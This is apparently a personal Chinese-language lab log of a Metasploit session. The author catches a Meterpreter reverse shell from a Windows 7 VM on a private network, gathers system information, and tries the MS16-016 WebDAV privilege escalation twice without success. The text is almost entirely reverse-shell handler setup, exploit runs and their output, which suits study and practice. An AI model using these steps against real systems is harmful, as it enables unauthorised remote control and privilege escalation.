metersploit msf 常用命令
MSF命令大全详解
我自己操作的示例
└─$ msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 2222
LPORT => 2222
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:2222
[*] Sending stage (175686 bytes) to 192.168.58.130
[*] Meterpreter session 1 opened (192.168.58.128:2222 -> 192.168.58.130:49159) at 2022-09-10 07:28:12 -0400
meterpreter > getuid
Server username: WIN-GA25B01M0QR\bonelee
meterpreter > getpid
Current pid: 3580
meterpreter > sysinfo
Computer : WIN-GA25B01M0QR
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > search ms16
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > backgroud
[-] Unknown command: backgroud
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search ms16
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms16_051_vbscript 2016-05-10 normal No Internet Explorer 11 VBScript Engine Memory Corruption
1 auxiliary/gather/ie_sandbox_findfiles 2016-08-09 normal No Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability
2 exploit/windows/local/ms16_016_webdav 2016-02-09 excellent Yes MS16-016 mrxdav.sys WebDav Local Privilege Escalation
3 exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2016-03-21 normal Yes MS16-032 Secondary Logon Handle Privilege Escalation
4 auxiliary/server/netbios_spoof_nat 2016-06-14 normal No NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
5 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities
6 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC
7 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
8 exploit/windows/local/ms16_014_wmi_recv_notif 2015-12-04 normal Yes Windows WMI Receive Notification Exploit
Interact with a module by name or index. For example info 8, use 8 or use exploit/windows/local/ms16_014_wmi_recv_notif
msf6 exploit(multi/handler) > use exploit/windows/local/ms16_016_webdav
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_016_webdav) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win WIN-GA25B01M0QR\bone 192.168.58.128:2222
dows lee @ WIN-GA25B01M0Q -> 192.168.58.130:49
R 159 (192.168.58.130)
msf6 exploit(windows/local/ms16_016_webdav) > set session 1
session => 1
msf6 exploit(windows/local/ms16_016_webdav) > show options
Module options (exploit/windows/local/ms16_016_webdav):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.58.128 yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 SP1
msf6 exploit(windows/local/ms16_016_webdav) > run
[*] Started reverse TCP handler on 192.168.58.128:4444
[*] Launching a process to host the payload DLL, then reflectively injecting the DLL and running it...
[*] Launching netsh to host the DLL...
[+] Process 2232 launched.
[*] Reflectively injecting the DLL into 2232...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms16_016_webdav) > run
[*] Started reverse TCP handler on 192.168.58.128:4444
[*] Launching a process to host the payload DLL, then reflectively injecting the DLL and running it...
[*] Launching msiexec to host the DLL...
[+] Process 2596 launched.
[*] Reflectively injecting the DLL into 2596...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms16_016_webdav) > ps
[*] exec: ps
PID TTY TIME CMD
2056 pts/1 00:00:00 zsh
19181 pts/1 00:00:10 ruby
20290 pts/1 00:00:00 ps
msf6 exploit(windows/local/ms16_016_webdav) > [*] You have active sessions open, to exit anyway type "exit -y"
msf6 exploit(windows/local/ms16_016_webdav) > backgroud
[-] Unknown command: backgroud
msf6 exploit(windows/local/ms16_016_webdav) > background
[-] Unknown command: background
msf6 exploit(windows/local/ms16_016_webdav) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win WIN-GA25B01M0QR\bone 192.168.58.128:2222
dows lee @ WIN-GA25B01M0Q -> 192.168.58.130:49
R 159 (192.168.58.130)
msf6 exploit(windows/local/ms16_016_webdav) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WIN-GA25B01M0QR\bonelee
meterpreter > dir
Listing: C:\Users\bonelee\Desktop
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 73802 fil 2022-09-10 06:58:13 -0400 1.exe
100666/rw-rw-rw- 282 fil 2022-09-10 06:53:27 -0400 desktop.ini
100666/rw-rw-rw- 10928 fil 2022-09-10 07:23:10 -0400 sys_win32.txt

